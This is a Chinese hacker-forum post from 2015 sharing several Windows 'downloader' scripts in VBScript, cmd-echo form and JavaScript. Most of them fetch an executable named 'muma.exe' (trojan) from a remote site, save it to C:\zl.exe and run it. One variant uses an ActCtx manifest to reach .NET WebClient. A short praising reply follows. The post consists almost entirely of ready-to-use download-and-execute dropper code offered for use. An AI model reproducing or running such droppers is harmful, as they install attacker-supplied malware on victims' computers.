搜索
查看: 899|回复: 2

下载者

[复制链接]

1839

主题

2255

帖子

1万

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
11913
发表于 2015-9-17 18:45:02 | 显示全部楼层 |阅读模式
转载备份

vbs版本
  1. 一、VBS下载者:

  2. Set Post = CreateObject("Msxml2.XMLHTTP")
  3. Set Shell = CreateObject("Wscript.Shell")
  4. Post.Open "GET","http://www.chinabaiker.com/muma.exe",0
  5. Post.Send()
  6. Set aGet = CreateObject("ADODB.Stream")
  7. aGet.Mode = 3
  8. aGet.Type = 1
  9. aGet.Open()
  10. aGet.Write(Post.responseBody)
  11. aGet.SaveToFile "c:\zl.exe",2
  12. wscript.sleep 1000
  13. Shell.Run ("c:\zl.exe") '延迟过后执行下载文件


  14. 二、cmd下执行的版本:

  15. echo Set Post = CreateObject("Msxml2.XMLHTTP") >>zl.vbs
  16. echo Set Shell = CreateObject("Wscript.Shell") >>zl.vbs
  17. echo Post.Open "GET","http://www.chinabaiker.com/muma.exe",0 >>zl.vbs
  18. echo Post.Send() >>zl.vbs
  19. echo Set aGet = CreateObject("ADODB.Stream") >>zl.vbs
  20. echo aGet.Mode = 3 >>zl.vbs
  21. echo aGet.Type = 1 >>zl.vbs
  22. echo aGet.Open() >>zl.vbs
  23. echo aGet.Write(Post.responseBody) >>zl.vbs
  24. echo aGet.SaveToFile "c:\zl.exe",2 >>zl.vbs
  25. echo wscript.sleep 1000 >>zl.vbs
  26. echo Shell.Run ("c:\zl.exe") >>zl.vbs

  27. 三、wget.vbs

  28. on error resume next
  29. iLocal=LCase(Wscript.Arguments(1))
  30. iRemote=LCase(Wscript.Arguments(0))
  31. iUser=LCase(Wscript.Arguments(2))
  32. iPass=LCase(Wscript.Arguments(3))
  33. set xPost=CreateObject("Microsoft.XMLHTTP")
  34. if iUser="" and iPass="" then
  35. xPost.Open "GET",iRemote,0
  36. else
  37. xPost.Open "GET",iRemote,0,iUser,iPass
  38. end if
  39. xPost.Send()
  40. set sGet=CreateObject("ADODB.Stream")
  41. sGet.Mode=3
  42. sGet.Type=1
  43. sGet.Open()
  44. sGet.Write xPost.ResponseBody
  45. sGet.SaveToFile iLocal,2

  46. 使用方法:cscript wget.vbs http://www.chinabaiker.com/muma.exe
复制代码

  1. manifest = "<?xml version=""1.0"" encoding=""UTF-16"" standalone=""yes""?>"
  2. manifest = manifest &"<assembly manifestVersion=""1.0"" xmlns=""urn:schemas-microsoft-com:asm.v1"">"
  3. manifest = manifest &"<assemblyIdentity name=""System"" version=""4.0.0.0"" publicKeyToken=""B77A5C561934E089"" />"
  4. manifest = manifest &"<clrClass clsid=""{7D458845-B4B8-30CB-B2AD-FC4960FCDF81}"" progid=""System.Net.WebClient"" threadingModel=""Both"" name=""System.Net.WebClient"" runtimeVersion=""v4.0.30319"" /></assembly>"
  5. set ax = CreateObject("Microsoft.Windows.ActCtx")
  6. ax.ManifestText = manifest
  7. Set sNetClient = ax.CreateObject("System.Net.WebClient")
  8. webstuff = sNetClient.DownloadFile("http://www.chinabaiker.com/calc.exe","C:\Users\Jumbo\Desktop\calc.exe")
  9. wsh.echo webstuff
复制代码

js版本
  1. 作者:lcx
  2. 来源:vbs小铺


  3. //将常用的vbs下载者改成js版了。本来想用jsc.exe编译,可是不成功。jsc.exe不认WScript

  4. //use: cscript this.js http://www.xxx.com/xxx.exe c:\xxx.exe


  5. var objArgs = WScript.Arguments;
  6. var sGet=new ActiveXObject("ADODB.Stream");
  7. var xGet = false;
  8. try {
  9. xGet = new XMLHttpRequest();
  10. }
  11. catch (trymicrosoft) {
  12. try {
  13.     xGet = new ActiveXObject("Msxml2.XMLHTTP");
  14. }
  15. catch (othermicrosoft) {
  16.     try {
  17.       xGet = new ActiveXObject("Microsoft.XMLHTTP");
  18.     }
  19. catch (failed) {
  20.       xGet = false;
  21.     }
  22. }
  23. }

  24. xGet.Open ("GET",objArgs(0).toLowerCase(),0);
  25. xGet.Send();
  26. sGet.Mode=3;
  27. sGet.Type=1;
  28. sGet.Open();
  29. sGet.Write (xGet.ResponseBody);
  30. sGet.SaveToFile (objArgs(1).toLowerCase(),2);
复制代码


过段时间可能会取消签到功能了
Object 该用户已被删除
发表于 2015-9-22 13:26:28 | 显示全部楼层
牛逼,这波逼给你32个赞
您需要登录后才可以回帖 登录 | Join BUC

本版积分规则

Powered by Discuz!

© 2012-2015 Baiker Union of China.

快速回复 返回顶部 返回列表